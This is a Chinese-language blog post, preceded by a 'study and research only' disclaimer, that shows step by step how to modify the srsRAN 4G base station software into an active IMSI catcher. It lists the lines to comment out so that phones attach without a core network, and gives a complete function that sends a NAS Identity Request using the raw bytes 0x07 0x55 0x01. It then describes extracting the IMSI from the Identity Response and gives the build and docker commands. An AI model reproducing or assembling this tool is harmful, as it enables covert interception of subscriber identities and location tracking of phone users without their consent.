免责声明:本篇文章仅作为学习和研究用途,任何人不可将其用于攻击用途,使用中请遵守各国的法律。若有人使用该工具进行了违法行为,攻击系攻击者个人行为,与作者无关。
在3gpp的标准中,UE可以在安全连接建立之前就可以返回自己的IMSI。IMSI全称International Mobile Subscriber Identity,是SIM卡的永久ID。有了这个ID后,攻击者可以追踪UE的位置信息。 这里我简单地魔改了一下srsran4G的代码,让它变成一个主动式的IMSI Catcher。
首先我们想想IMSI Catcher的概念很简单,在建立了RRC连接后,即可向UE发送Identity Request请求,这样我们就可以获取到UE的IMSI信息。
srsran4G在启动后会与核心网建立S1AP连接,传输NAS信息,但由于我们这里,Identity Request没有变化,所以我们并没有必要连接上核心网。只需要启动srsran 4G然后在合适的时候发送Identity Request即可。
当srsran 4G没有连接上核心网时,手机直接连接就会出现Connection Reject信息,所以我们需要让UE和srsran 4G正常建立连接。我们可以找到在srsenb/src/stack/rrc/rrc_ue.cc
中有一个handle_rrc_con_req
函数,在这个函数中,如果s1ap没有连接上就发送Connection Reject。我们将这行几行注释了即可,编译后查看PCAP我们可以看到UE和base station确实建立了连接。
if (not parent->s1ap->is_mme_connected()) {
parent->logger.error("MME isn't connected. Sending Connection Reject");
send_connection_reject(procedure_result_code::error_mme_not_connected);
return;
}
但是由于没有连接到核心网,并没有进行Authentication,所以过一段时间后,UE和srsran就会断开连接。所以我们可在建立好RRC的连接后就发送Identity Request。于是我们找到handle_rrc_con_setup_complete
这个函数,我们可以看到以下的代码中srsran在与核心网通信,所以我们把这几行注释掉就好。
if (has_tmsi) {
parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu), m_tmsi, mmec);
} else {
parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu));
}
// 2> if the UE has radio link failure or handover failure information available
if (msg->crit_exts.type().value == c1_or_crit_ext_opts::c1 and
msg->crit_exts.c1().type().value ==
rrc_conn_setup_complete_s::crit_exts_c_::c1_c_::types_opts::rrc_conn_setup_complete_r8) {
const auto& complete_r8 = msg->crit_exts.c1().rrc_conn_setup_complete_r8();
if (complete_r8.non_crit_ext.non_crit_ext.rlf_info_available_r10_present) {
rlf_info_pending = true;
}
}
但是我们需要发送Identity Request呀,于是我写了个函数send_identity_request
,NAS层的Identity Request只有3个bytes,0x7, 0x55, 0x1,直接将它包装进dl_dcch_msg即可。我们将上面的代码替换为调用send_identity_request
即可在建立连接后就发送Identity Request了。
void rrc::ue::send_identity_request()
{
dl_dcch_msg_s dl_dcch_msg;
dl_dcch_msg.msg.set_c1();
dl_dcch_msg_type_c::c1_c_* msg_c1 = &dl_dcch_msg.msg.c1();
dl_info_transfer_r8_ies_s* dl_info_r8 = &msg_c1->set_dl_info_transfer().crit_exts.set_c1().set_dl_info_transfer_r8();
// msg_c1->dl_info_transfer().rrc_transaction_id = ;
dl_info_r8->non_crit_ext_present = false;
dl_info_r8->ded_info_type.set_ded_info_nas();
dl_info_r8->ded_info_type.ded_info_nas().resize(4);
uint8_t identity_request_raw[3] = {0x07, 0x55, 0x01};
memcpy(msg_c1->dl_info_transfer().crit_exts.c1().dl_info_transfer_r8().ded_info_type.ded_info_nas().data(),
identity_request_raw,
3);
send_dl_dcch(&dl_dcch_msg);
}
我们再查看pcap我们可以看到UE发送了Identity Response,好了,现在我们只需要将Identity Response提取出来就好。于是可以模仿lib/src/asn1/liblte_mme.cc
中的liblte_mme_unpack_mobile_id_ie
函数处理NAS消息就可以提取IMSI的信息了。

但是现在拿到了IMSI后,我们UE和srsran还连接着,要等一会儿才能断开连接,我们在获取到了IMSI后,调用一下send_connection_release
即可断开连接。
所以我们需要避免srsran 4G连接上核心网,不然它会每隔10秒显示一次连接不上核心网的错误信息,我们可以找到srsenb/src/stack/s1ap/s1ap.cc
文件,里面我们可以看到args.s1_connect_timer
是执行mme_connect_run
的timeout。我们可以直接把s1setup_proc.launch
这一行注释掉,这样我们就可以避免srsran 4G一直发送错误信息。
auto mme_connect_run = [this](uint32_t tid) {
if (s1setup_proc.is_busy()) {
logger.error("Failed to initiate S1Setup procedure: procedure is busy.");
}
s1setup_proc.launch();
};
mme_connect_timer.set(args.s1_connect_timer * 1000, mme_connect_run);
好了,要编译IMSI catcher,我们可以用以下的命令:
sudo apt install build-essential cmake libfftw3-dev libmbedtls-dev libboost-program-options-dev libconfig++-dev libsctp-dev
mkdir build
cmake -B build
cmake --build build --target srsenb
或者说我们可以直接用docker来运行,就可以避免破坏本地的环境了:
docker compose build
docker compose up
文章评论